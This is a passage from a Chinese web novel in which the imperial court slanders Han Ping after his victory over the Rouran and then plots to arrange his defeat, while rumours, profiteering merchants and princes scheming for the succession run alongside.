这分明是恃才傲物，没把天下百姓的困苦放在眼中。 圣人有云，无心为恶，虽恶不罚；有心为善，虽善不赏。 韩平有心为善，分明是居心叵测，该当重罚！不如就诛其九族吧？” 只要找准角度，每个人都是罪恶滔天！ 这不，费鸣皋轻而易举地便找了个奇特的角度，怀疑韩平的动机，质疑韩平的人品。 你功劳再大有什么用，你道德不过关，那就不行。 “这位大人好生奇怪，之前韩先生并不知道自己会打仗，是去了渔阳城，方才知道的。” 身体紧绷绷的，胡仲连想杀人的心都有了。 什么玩意啊，韩先生带领我们打了胜仗，到了朝廷上，你们要重罚，还诛九族。 还有天理吗？ “不知道？不知道怎么制作出那么厉害的烟雾弹？对柔然重甲骑兵，如此有效。 分明是早就有此能力，只是要等到我大越局势危殆，方才出来彰显他自己。 陛下，在微臣看来，此人乃是巨贪，他贪的不是钱，而是名。” 辩论永远不失败的方法很简单，永远不承认失败。费鸣皋就是死缠烂打。 胡仲连带着气愤反驳：“烟雾弹本是用来对付土匪的，三少爷带了一些过来，谢将军看着好用，这才派人请韩先生多做一些。 我想请问这位大人，能不能先搞清楚事实 ，再来污蔑？ 陛下，小臣不懂，怎么打了胜仗，杀了欺压我大越多年的柔然人，反而有罪了？ 这到底是为什么啊？” 在胡仲连看来，韩平的来历一清二楚，在这上面污蔑，硬要说韩平用心不好，这不是欲加之罪吗？ 他对大人物向来是敬畏的，对朝堂之上的诸公们，更是有一种高深莫测的感觉。 今天一听，快要气炸了肺。 这怎么比街头吵架的泼妇还不要脸？ “人心难测，韩平此人着实古怪，以微臣来看，就算不杀，也要先抓了，打入天牢再说。” 费鸣皋一直小心翼翼地揣测着呢。 很明显，韩平是个太大的变数，他投降了柔然是个麻烦，不投降，同样是个麻烦。 把他抓了，把他的那些烟雾弹什么的，制作方法都拷打出来，然后再弄死，那便天下安好了。 “够了！” 景武帝大叫了一声，“费爱卿，你虽然都是为了天下，为了百姓好，但是，若韩平真的击败了柔然大军，那便是功臣。 谁都知道，朕最是看重功臣。 就算他有一些道德上的瑕疵，那也不用打入天牢啊。 他还那么年轻，朕以后可以好好教他如何做人做事。 费爱卿你退下吧。” 知道费鸣皋的功能已经完成了，景武帝出来当裁判了，身上汹涌着沛然的帝王之气，他现在心安定了些，也有了抓手了。 就算韩平功劳震天，他道德有瑕疵，终究会惹人诟病。 眼下先要确认，这件事是不是十足真实。 如果是，就要面对最棘手的问题了——刚和谈，有人全歼柔然五万大军，朝廷威信怎么办？ “是，陛下。” 费鸣皋老老实实退下，知道，下次若有升迁的机会，少不了自个。 为了确认，景武帝看向了掌印太监吴射斗：“立刻派人，前去驿站迎接各路军报，朕在这里等着。” 吴射斗匆匆而去，心里憋着口气，等更多人来了，你们是不是会给我道个歉？ 都是懂事的人，其他五路隘口的军报，紧随其后，既不抢渔阳城的风头，又展现自己知道情况。 等所有送军报的人到了朝堂，景武帝连续询问，确认韩平果真是指挥一万三千人，全歼了柔然五万大军。 终于，心里的泡泡破了。 他咬着后槽牙，只觉得肠子都打结了：“之前的军报，说谢朝乘战死，韩平投降柔然，这又是怎么回事？” “陛下，都是那叱利可汗搞的鬼，他派人截杀送信之人，又或收卖，或杀戮了驿站人员，故意放出虚假消息，想要惑乱朝堂。” 老牛湾送军报的了解情况，说了出来。 景武帝只觉得头重如山，内心受到了沉重的打击。 叱利可汗想惑乱朝堂，他做到了！ 最可悲的是，自己已经和柔然签订了和约，割地，赔偿，纳贡，和亲，都明晃晃的写在纸上，都已经昭告天下了。 “退下，你们统统退下！滚出去！” 景武帝大喊大叫，几近疯癫。 等送军报的人都走了，就剩下个掌印太监吴射斗。 景武帝不给他一点好脸色：“你也滚出去。” 吴射斗心中难过，都确定我说的是真话，怎么也没人道歉？ 太欺负人了！ 等只剩下朝中大臣了，景武帝哀痛道：“诸位爱卿，我们该如何是好，朕还有何脸面统御万方？尔等有何脸面立在朝堂之上？” 第118章 韩平之名，响彻皇城 第一百一十八章 韩平之名，响彻皇城 “小姐，大喜啊。” 吏部房侍郎后宅，丫鬟灵犀蹦蹦跳跳的。 大家闺秀讲究大门不出，二门不迈，想要传递消息，全靠身边的丫鬟。 房春白因为有才女的名声，之前品鉴书生们的诗词，便是如此。 “有什么好喜的？一边去，别烦我。” 慵懒地躺在牙床上，房春白只觉得了无生趣，连动也不想动，活着有什么意ff义呢？ 人和一只毛毛虫有什么区别？ 她总是会想这些消极空虚的东西。 “哼！用到人家的时候，叫人家好姐妹，用不到了，就叫人家一边去。本来我想告诉你那个人的消息，既然这样，我不说了。” 嗯？ 用力扶起娇躯，房春白的眸子里闪烁着期待：“好灵犀，是不是有韩平的消息了？快告诉我吧。” 作为丫鬟，难得有使性子的时候，灵犀背过身去：“是韩平的消息，还是大喜呢，可我为什么要说，小姐都说了，让我一边去。奴婢退下便是。” 行了个礼，灵犀便要离开。 房春白急忙拉住：“灵犀妹妹，刚才是我错了，我不敢那样对你的。快说吧，你要急死我吗？” 自从听到韩平投降了柔然，房春白便白天黑夜的，哪哪儿都不得劲。 她虽然不信， 可外面都嚷嚷动了，也没法和人吵去。 唯一期待的，便是能有什么变化，现在终于来了。 “渔阳城的军报送来了，韩平谈笑间全歼柔然五万大军，还活捉了柔然大将沮渠蒙逊。” “不可能！这怎么可能？” 到底是官宦人家，房春白对于当前的边关情况，大概是还是知道的。 几十年了，大越的战争能力是一日不如一日。 要不然朝廷也不会心心念念的要和谈。 “小姐不信是正常的，听说连皇上都不信，可边关六路大军都送来了军报，陆续还会有地方官的军报。 已经确定无疑，韩平立下了不世之功，说不定要封爵呢。 嗯，他若是封了爵，倒是和小姐相配了。” 灵犀是跟着房春白长大的，一心都为房春白着想，已经在考虑婚嫁的事情了，她天真无垢，想到便说了出来。 房春白俏脸飞红，嗔道：“别说不正经的，快告诉我，他是怎么做到的？” 已经打听清楚，灵犀一五一十，把韩平站在城墙之上，吃着冰棍，谈笑间消灭柔然大军的事说了出来。 自古美女爱英雄，房春白听得痴了。 她推开窗户，遥望北方，用最大的努力去想象，韩平是何等潇洒气象。 想不出，怎么也想不出。 “望远镜，凸透镜，烟雾弹，护目镜……原来他不光有诗词情操，更有安邦定国之能，这般男子……谁能配得上？” 论家世，论才情，房春白是可以挑选郎君的，只是，面对太过优秀的存在，她自卑了。 灵犀不懂那么多，瞪着无辜的眼睛说道：“小姐就配得上啊，韩平虽然有才，他出身不好。 他之前是逃荒的灾民，小姐是官宦之家，配他不是绰绰有余吗？” 大越是个礼教社会，也叫名教，意思特别简单，每个人都有各自的名分，出身便是最大的名分。 最基本的有君臣之别，父子之别，男女之别，嫡庶之别…… 整个大越就好像一棵大树，从下往上开枝散叶，下面的想要往上面去，难比登天。 读书人只有科举一条路，其他人只能去边境杀敌，九死一生，混个百户，便算光宗耀祖。 这其中， 除了皇家和勋贵，便是簪缨世家，也就是世代为官的人家，虽然没有爵位，也是老贵族。 新崛起的暴发户，老贵族是看不上的。 现在韩平刚刚出名，名分上还是白丁呢，可以说和房春白有霄壤之别。 “我不是说身份，我说的是才情，对了，我听说韩平是有妻子的，他的妻子是什么人，你调查了吗？” 虽然说男人三妻四妾是常有的，对此，房春白还是在意的，所以尽量不去提。 现在她想了解，什么样的女人，能做韩平的妻子。 “调查了呀，他的妻子叫刘雪宝，是普通农户人家的女儿，没有读过书，连字都不认识，能嫁给韩平，靠的是抢姑爷。 真是野蛮，看见好男人就抢，其他不争不抢的女子，就活该倒霉吗？” 想着如果小姐嫁给了韩平，难免要争夺正妻之位，灵犀对从来没有见过的刘雪宝，已经有了莫名的敌意。 “这样啊，看来他对女子才情，并不十分在乎。” 房春白失落了下来，她自认为是有些才情的，灵犀点点头：“男人嘛，只喜欢腚大好看的女人。 小姐，要不要和夫人商量商量，让媒婆从中间说和。” 父母之命媒妁之言，媒婆就是从中间拉线的，有了媒婆，便名正言顺了，房春白羞臊不已：“再看看，我还没见过他人，说什么媒婆啊？ 兴许，见了真人，我并不喜欢呢。” …… 越来越多的消息传回来，很快，整个京城都嚷嚷动了。 一下子，所有人都成了主战派。 “我就说吧，我就说吧，我们大越终将会赢，可惜没有一个人相信我，没有一个啊。” “不对吧，你昨天不还在支持谈和吗？” “切！我说着玩的，你不会真信吧？” …… 主和派刚开始还愿意承认，之前支持过谈和，很快，他们连这一点也不愿意承认了。 轻轻松松全歼柔然五万大军，还谈和，还去割地赔偿纳贡和亲，那得多傻啊？ 随着细节披露，大家对韩平的崇拜，到了无以复加的地步。 “听说了吗？韩先生杀柔然人，比杀鸡都容易，站在城墙之上，吃着小冰棍，就把事给办了呀。” “当时韩先生用手那么一指，柔然大将沮渠蒙逊手中的柳絮，哗一下，就烧没了，把沮渠蒙逊给吓得，当场就尿了呀。” “最厉害的还是那烟雾弹，啧啧啧……一旦扔出，方圆十里之内，伸手不见五指啊。” “这还怎么打仗？” “嘿！不懂了吧？韩先生手里有护目镜啊，有了这件宝贝，咱们的人看得一清二楚，柔然人只能摸黑，和在半夜三更一样。” …… 那么大的胜利，难免有人添油加醋，很快，各种离谱的说法也冒了出来，让那些仅存一点理性的人，也失去了理性。 “嗯？我发现了一个问题，这大夏天的，边关辛苦，哪里弄来的冰啊？” “这个我知道，韩先生修炼了一门武功，名叫寒冰神掌，一掌打出，冰封千里。” 第119章 惊动后宫 第一百一十九章 惊动后宫 听的人都蒙了，冰封……千里…… “嘶……这也太狠了吧？” “这对韩先生来说，都不算啥，只要韩先生愿意，咱们马上就得过冬。” “要我说，韩先生不光打仗厉害，也愣是会享受啊，大夏天吃点绿豆冰棍，肯定倍爽！” “没见识了吧？韩先生还制出了一个叫冰淇淋的东西，靖远候之子庞宪度品尝之后，直挑大拇哥，说是天下第一美食。” “天下第一？” “那可不嘛，只可惜特别贵，我这辈子怕是吃不上喽。” …… 民以食为天，说着说着说到了吃上面的，冰淇淋这东西运送太难，京城见过的人，寥寥无几。 大夏天的，听到冰就让人高兴。 “冰淇淋能有多贵？得两百文？” “两百文？想屁吃呢！前天运到京城一份冰淇淋，韩王爷的世子买了下来，一个冰淇淋，三百五十两。” “我去！太贵了吧，把我卖了也换不来这么多钱。” “韩先生做出来的东西多了，还有那白糖，一斤也要五两银子。” “阎罗醉最近便宜了点，一斤二两。” …… 周围一片惊愕之声，这种价格已经超出了他们的想象，寻常人家，一天也就花几文钱。 什么时候，买东西都开始论两了？ “这么贵，得多好吃啊？” 有人在流口水了，努力去想那个味，却怎么也想不出来。 负责吹牛的人，洋洋得意，好像什么都懂，什么都知道，神神秘秘地说道： “傻货！这些个东西能光是好吃吗？这些东西都被韩先生加持过，闻一闻延年益寿，吃一口啊，百病不生。不然，光是好吃，能那么贵吗？” 一传十，十传百，越传越神，很多人眼睛放光，那么贵，吃是吃不起，闻一闻总行吧？ 于是开始有人四处打听，哪里有冰淇淋，阎罗醉，白糖这些东西。 …… 商人逐利，自从知道倒卖阎罗醉，白糖，冰淇淋能赚钱，便有数不清的商人参与了进去。 这其中，有赚大钱的，也有比较倒霉的。 张大成便是倒霉的。 刚开始的时候，他只是把这些东西，倒卖到附近的州城，眼看着这东西来钱太快了，心热啊，所以他便花了钱，打通关卡，往京城卖。 结果路上遇到了土匪，货全部都抢了。 原来和他差不多的财主，资产已经是他的几十倍了，他不甘心，便倾家荡产请了大批镖师，一次性采购大量的阎罗醉，白糖，前往京城。 这次倒是顺利，只是到了京城一算账，发现花的钱太多了，必须涨价才能赚钱。 不光涨价，他也租不起闹市区的铺子了，就在京城边上支起摊子。 结果，没有富人来，他的货又贵，卖不出去。 “唉！这可怎么办啊？” “莫非我是被韩先生骗了吗？” 多多少少，他回过味来了，阎罗醉和白糖这两样，韩平天天限购，天天说数量有限，可他稍微努力下，便购买了几百车。 还不止他一个人，其中马云腾大财主买的更多，足足两千多车，一走过去，黑压压的，好像行军打仗一样。 那么大的供货量都能满足，说明工坊有的是货，韩平是通过限购促销的。 “爹，你这叫什么话？韩先生最实在了，骗过谁啊？” 张大成的亲儿子张浩，立马就不同意了。 从来想要做低买高卖的生意，得走南闯北的寻找货源，十分考验眼光。 眼光看不准，便会赔钱。 倒卖韩平的阎罗醉，白糖，只要能把东西运到地方，就不会赔钱。 在他看来，是自己老爹不善经营。 “我说他一句都不行了是吧？那么多货堆在这，你说怎么办？” “我不知道，反正你不能说韩先生不好，做人不能丧良心。” 好不容易养个儿子，看韩平比自己这个亲爹都亲，张大成那叫一个郁闷。 他长吁短叹的，白头发蹭蹭往外冒。 正想着是不是便宜卖点，去闹事租个铺子，就见街面上出现了好多人，一个个东张西望的。 看到他这，大喊大叫，强盗一样跑了过来。 “这里还有！” “店家，你们店里有多少阎罗醉，多少白糖，我们东家包了。” “店家，千万别卖给他，他要倒卖，我只要二十坛阎罗醉，一百斤白糖，价格好说。” “给我一百坛阎罗醉，我是王爷府的，都靠后，我先买。” …… 人越来越多，一个个都不把银子当银子，动不动买几十坛，上百斤，张大成笑得鼻涕泡都冒出来了。 他不管这那的，赶紧卖出去了一部分。 可看着长长的队伍，他没忍住，涨价了。 结果，人根本没有走的，管你涨价不涨价，就是要买。 他一打听才知道，韩平竟然在渔阳城杀了五万柔然大军，有人在传，韩平弄出来的东西，闻一闻延年益寿，吃一口啊，百病不生。 京城闹市里的阎罗醉，白糖都卖光了，就他这还有那么多货呢。 听到这些传说，他发挥奸商本能，又涨价了。 外面很多人在骂他坐地起价，可就是没人离开。 他见除了购买的，还有一些人买不起，在周围努力地吸鼻子，想要闻一闻，延年益寿。 顿时，张大成计上心头：“各位，离那么远，能闻到什么？我在这边倒上一碗酒，一碗白糖，想闻的到跟前来。闻一闻，只要五文钱。” 闻个气还要钱，从来没听说过，可大家都在传，能延年益寿，谁不想多活几年？ 再说，买不起也得看看，长长见识啊。 不多会排队的一眼看不到头。 张大成笑傻了，这样也能赚钱，我真是个天才！ 看着这些人没见过世面的样子，他优越感爆棚，让儿子照顾生意，他赶紧地招来原班人马，让继续从嘉陵购买阎罗醉和白糖。 其他财主眼红得不得了，同样急速地往嘉陵赶去。 …… 消息太爆炸，很快传到了深海一般的后宫。 庄妃的慈元殿里，德阳公主笑得合不拢嘴：“能干，这个韩平果真是个能干的，本宫就喜欢这样的男人。他都打败柔然人了，我就不用嫁给叱利可汗了，好耶！” 庄妃也替女儿高兴，一边的九皇子，身体不动，美眸中迸发着强烈的光彩。 麒麟才子，得之可得天下！ 对这句话她更加相信了，以的身份，要想夺嫡是不可能的，可现在有了一条金光大道，只要得到韩平，便可以得到天下。 只是……怎样才能让他效忠自己呢？ 不用说，其他皇子都是虎视眈眈。 “德阳，你还记得之前说过什么吗？你说不管是谁，只要让你不用嫁给叱利可汗，你愿意当牛做马。现在韩平做到了，你不用当牛做马，起码也得以身相许吧？” 钱没有，地位也给不了，李元润想来想去，把妹妹给出去好了！ 第120章 废太子站起来了 第一百二十章 废太子站起来了 俗话说得好，舍不得孩子套不着狼，舍不得妹妹，如何拿下韩平这个大才？ 德阳的美貌连叱利可汗都觊觎，嫁给韩平，定然能够得宠。 到时候，他会不帮自己这个大舅哥？ “啊？嫁给韩平？” 差点和亲，德阳公主对婚嫁有了本能的排斥，九皇子李元润当然不会告诉任何人，自己有夺嫡之念。 在力量微弱的时候，仅仅是透露这种消息，便会引来杀身之祸。 夺嫡是一场艰难险阻的斗争，他只能悄无声息地进行。 “对啊，你作为公主，金口一开，岂能当做没发生？” “你有没有想过，很可能上天听到了你的声音，所以才会降下韩平，你如果不兑现诺言，说不定会受到上天的惩罚。” “在众多公主之中，你的美貌是第一位的，今天不和柔然和亲，明天也许就要和党项和亲，这是公主的宿命。” “党项酋长拓跋谅怍可不是什么良人，听说他体重三百多斤，最大的爱好是用体重把美貌的女人压死。” “而且党项的婚俗是收继婚，男子可以收纳自己的庶母，伯母，婶母，嫂子，弟媳妇……你那么好看，拓跋谅怍若是死了，不定多少男人争夺你呢。” …… 李元润继续忽悠，不过她说的话，倒都是真的。 党项男子属于是被动娶妻，或者娶妾。 比如说好好的，一个男人的叔叔死了，那他必须娶婶婶，哥哥死了，就必须娶嫂子，有人说，不想娶怎么办？ 不想娶便违反了党项的律法，会受到严惩，并且，也不容于世俗。 哦，你连婶婶，大嫂那么亲近的女人都不愿意娶，你还能算个人？ 所以就算一个党项男子再穷再苦，往往都有好多个女人，其实这真不是什么美事，而是一种负担。 大部分男子是不愿意继承的，越是贫穷的男子越是如此。 一来，继承来的女人，可能年龄很大了，并不是什么美娇娘，二来，继承了就要养着，地主家都没有余粮，何况穷人？ 这其实是对女人的一种保障，因为党项女人的地位低下，无法当户主，无法做工，只能依附于别人。 “我不要嫁到党项，真是烦死了，怎么都是这种啊？” “对韩平，我也要看看，反正不是我喜欢的男人，我是不会嫁的。” 经历一场磋磨，德阳公主有了自己的主见。 她越想就越觉得，如果不能嫁给自己喜欢的男人，那这一辈子，也太难熬了。 “也有道理，等韩平进京了，我会想办法，让你和他见一面，如果你不喜欢，咱就物色下一个。 你的幸福最重要！” 说着说着，李元润又心疼妹妹了，只是暗暗期待，韩平别光是会诗词歌赋，会赚钱打仗，对女人也有点吸引力才好。 …… “韩平误我，韩平误我……什么高人，什么麒麟才子，假的，都是假的……” 废太子自然不能继续居住在东宫，李元亨迁居来了寿安宫，这处宫殿十分简陋，偏僻，外面还有军兵看管。 连出门都不行，除了吃饭睡觉，李元亨就会嘟囔韩平，不然心里怨愤，能憋死。 “殿下，吃饭吗？” 再是被废，也是皇子，基本的待遇还是有的，吃的也不差，只是李元亨已经没有心情了：“吃？就知道吃，你和韩平一样，都是废物。” “奴婢让后厨等会再做。” 李元亨已经是疯癫状态，丫鬟也不当一回事，赶紧离开。 留下李元亨，披头散发地看着面前的一株花，对着花指指点点：“韩平，你不行啊你，你真可笑，能力没有，连风骨都没有，你还能算个人啊？” 赌错了，前途尽毁，李元亨消极悲观，才几天就已经憔悴得不成样子了。 他正嘟嘟囔囔，突然旁边的墙头传来窸窸窣窣的声音。 接着，原太子府詹事孟庆和爬了进来，一脸的喜色，李元亨不愿意见过去的人：“你来干什么？” “太子爷，苦尽甘来了，最新消息，韩平谈笑之间灭了柔然五万大军，活捉柔然大将沮渠蒙逊，您是对的，您是这天底下唯一一个对的。 其他皇子给太子爷您提鞋也不配啊。” 打了打身上的灰尘，孟庆和激动不已。 他为了爬进来，可费了老功夫了，可这是立大功的时候。 如果太子能够登上帝位，就凭这个功劳，当个尚书都有可能。 “打赢了？” 嘴巴合不上，眼睛眨啊眨，李元亨只觉得三魂七魄都回归了，“妙啊！整个天下没有人相信韩平的，只有我，只有我啊。 连父皇都是错的，更不要说老三，老四，老六了。 这万里江上不交到我手中，谁配啊？” 从极度的失落，瞬间，李元亨变得极度自信。 世人皆醉我独醒，古往今来，有这么贤明的废太子？ 他跌跌撞撞地跑去沐浴更衣，换了一身得体的衣服，顿时贵气横生，一边往外走，一边打听着具体的情况。 来到大门口，更是拿出十足的气派来，用眼神示意，让孟庆和打开门，见外面的兵丁阻拦，立即呵斥道：“混账东西！看清楚我是谁！ 我会被废，皆因我和父皇打赌。 如今，是我赢了！ 父皇需要给我一个交代，满朝公卿需要给我一个交代，就你们，也敢拦我？ 立即退开，不然我灭你们九族！” 他的王霸之气太足了，看守的兵丁对对眼，不光退后还跪了下来。 眼前这个男人，洞若烛火，明见万里，前途不可限量啊。 李元亨也不坐轿子，腿着就往皇宫赶。 “咦？废太子怎么出来了？” “闭嘴！人家可是第一个看好韩平的皇子，他和陛下打赌，赌赢了。” “那他岂不是要恢复太子之位？” “不恢复行吗？天底下的人都知道，众皇子中，这位是最聪明的。” …… 周围看热闹的也认为，李元亨要重回巅峰，有些人已经露出崇拜之色了，之前哪有人会认为能打赢？ 人家李元亨这预判，天下第一。 被一群人围观着，李元亨来到了皇宫正门，也就是午门之外，嗷咾就是一嗓子：“我要见父皇！” 宫门口的小太监吓得腿软，跑着去报信。 此刻的金銮殿上，景武帝和群臣，那是愁眉不展。 是，现场那么多饱学之士，要把白的说成是黑的容易，可天下悠悠之口，堵不上的。 最痛苦的是皇上，第二痛苦的是曾开之，他思索再三，站出队列：“陛下，眼前只有一条路可走了。” “曾爱卿，快快说来。” “求败！唯有一场大败，一切才能回到正轨。” 第121章 本太子要满朝公卿道歉 第一百二十一章 本太子要满朝公卿道歉 “你是说……” 景武帝眼眸闪烁，明白了，只是他身为一个帝王，是不可以说出来的。 曾开之豁出去了：“和谈已经完成，也已经昭告天下，如今韩平打了胜仗。 胜仗固然好，只是不合时宜。 只要柔然人能够击败韩平，让表面看起来，依然是敌强我弱的局面，那么和谈便理所应当，谁也说不出什么了。” 这番话一说，朝堂众人顿时傻眼。 他们怎么也没想到还有这么一天。 以前是千方百计，苦心孤诣想要打胜仗，根本做不到。 现在好嘛，打了胜仗想吃败仗。 任谁都觉得太折腾了，可不这么折腾不行啊，名正才能言顺，总不能告诉天下人，皇上错了，满朝大臣都错了。 人家如果说一句：你们既然错的那么彻底，那滚蛋吧。 怎么回答？ 没法回答！ 这是上位者不能有错的根本原因，不是不能犯错，而是不能让任何人知道有错，更不能认错。 历史上固然有下罪己诏的，但那都是罕有的雄主，天下安宁，没有动乱的情况下。 眼前的大越灾民四起，造反的土匪数不清，景武帝就算知道自己错了，也没办法承认。 “有些道理，其他卿家怎么看？” 景武帝看向所有人，眼下是背黑锅的时候，谁也别想逃，都得一起背。 也有主动背起来的，河西道御史费鸣皋昂然道：“陛下，曾尚书老成谋国，臣赞同。 只能说，韩平打了一场不好的胜仗，如果继续胜下去，会动摇国本。 他还年轻，让他尝一尝败仗，对他的成长有好处。 不经风雨哪能见彩虹？” 只要有了方向，是白的还是黑的，就是朝臣说了算了。 立即所有人都纷纷站了出来，没有一个反对意见。 “老臣赞同，朝廷不能有错，皇上更不能有错。” “臣附议，是韩平唐突了，打胜仗之前也不打声招呼。” “妙啊，韩平受到了挫折教育，和谈顺利推行。” “此乃大义，就让韩平受点委屈吧。” …… 景武帝终于放松了少许，接着便要面对新的问题了：“柔然损失五万大军，叱利可汗兵退三百里，他们还敢打吗？如果不敢，怎么让他们出手？” 这个问题也是够诡异的，之前怕柔然人打过来，现在唯恐他们不敢打。 曾开之苦笑道：“陛下，叱利可汗一定是被打怕了，现在只能出钱，买他们出手。” 群臣都低下了头，这搞的，花钱请柔然人打自己，说出去也没人信，可不给钱还真不行。 韩平在渔阳城，渔阳城就像个刺猬，谁敢碰？ “那就出一百万两银子，让叱利可汗出手，还有一个问题，就算叱利可汗敢于出手，能打败韩平吗？” “这个……应该可以吧。” 兵部尚书曾开之自然是知兵的，按理说，叱利可汗手里还有三十万人马呢，渔阳城只有一万多人，不存在打不过的可能。 只是，渔阳城有韩平啊，这是个不走寻常路的人。 “尚书大人！你难道认为，韩平能对付柔然三十万大军？” 费鸣皋又站了出来，他是惊到了，他也知道，韩平很厉害，但总不能厉害到这种程度吧？ 如果是这样，韩平一个人，就成了天下第一大杀器，以后他的存在，岂不是举足轻重？ 他一打喷嚏，整个天下都要重感冒。 做人做到这个份上，得多爽啊，他眼红了，嫉妒心像野火一样乱烧。 “并非没有这种可能，他击败五万大军，用到了望远镜，凸透镜，烟雾弹，护目镜。你怎知他手里没有其他奇巧之宝？“ 大家沉默了，是啊，人家亮出来了四个，藏着的有几个？ 就说那绿豆冰棍，渔阳城肯定是没有冰块的，他怎么弄出来的？ 不知道！ 皇上也好，大臣也好，对韩平了解的太少，他们眼中，韩平完全是个迷。 “想打败仗，却做不到吗？” 景武帝无语了，还有这种事呢？ 他觉得荒谬，其他人何尝不是如此，一个韩平，让整个大越朝堂都被动了。 “为今之计只有分兵了，渔阳城向东五百里，有一处狼窝沟的地方，上面盘踞着上万人的土匪。 陛下可以派人通知谢朝乘，让他带一万精兵去消灭狼窝沟土匪。 如此，渔阳城只剩下三千士兵。 任韩平有通天本领，靠三千人，断然不会是柔然三十万大军的对手。 臣略懂天象，未来一段时间，将会有连绵降雨。 一旦下雨，望远镜，凸透镜，烟雾弹，护目镜，这些东西便无用处了。 提醒叱利可汗，一定要在这个时间段发起攻击。 到时候渔阳城兵败城破，和谈之举，依旧是最正确的。” 作为签订的当事人，曾开之是最用心的，这么短的时间，他便对四件宝贝有了大概的了解。 其余大臣统统陷入沉默，仿佛韩平的死活无关紧要，根本不用在乎。 倒是几个皇子，神情微动，不知道在想些什么。 “曾爱卿所言，诸位爱卿可有其他意见？” 景武帝主要是怕这里面出了二五仔。 见没人说话，他眼底闪过一抹狡黠，长叹道：“和叱利可汗联络的人，自然还是董道昌，只是，让渔阳城分兵之事，格外艰难，不知哪位爱卿能够当此重任？ 只要能够完成任务，回京之时，官升三级，赐保和殿大学士。” 一直出谋划策的曾开之，这次不再说话，低着头，眯着眼，好像随时都要睡过去。 其他几个尚书，也都是眼观鼻，鼻观心，默不作声。 倒是很多四品官员跃跃欲试，官升三级，便成一品了，位极人臣了，这是无数读书人，终生的梦想。 “为了天下苍生，臣愿前往。” 思忖再三，河西道御史费鸣皋激动地站了出来，袖子里的拳头紧紧握着，御史想要升官是很难的。 御史的工作是监察，弹劾，都是得罪人的活，就算立了功，也会遭受到反噬，往往落不到什么好。 不管左都御史茅国昌，还是右都御史姚序之，都是春秋鼎盛，一会半会，且轮不到他呢。 富贵险中求！ 他看出来了，皇上和大臣们都不喜欢韩平，那他便冲到最前线，把韩平弄死，或者压制住，他将会官运亨通，扶摇直上。 “壮哉！” 景武帝大叫了一声，“不是费御史这等有勇有谋的，也做不得如此大事。 受费鸣皋钦差大臣关防，巡查边关。 另，擢升谢朝乘为定远将军，韩平为宁远将军。” 定远，宁远这种将军，听名号就知道，是典型的边镇将领，按大越九品十八级的官位来排，位列正五品。 正五品的将军绝对不小了，但钦差大臣关防，这是三品的配置。 况且钦差大臣到地方，属于见官大一级，这就导致，费鸣皋的等级，比韩平，谢朝乘高了三四个等级。 官大一级压死人，有三个四等级，完全可以压制了。 叫来董道昌，又安排了一番，看着两人离开，景武帝心安了许多。 这时，有太监进来：“陛下，太子来了，吵着要见您，他说……他想要陛下您，还有满朝公卿给他道歉。”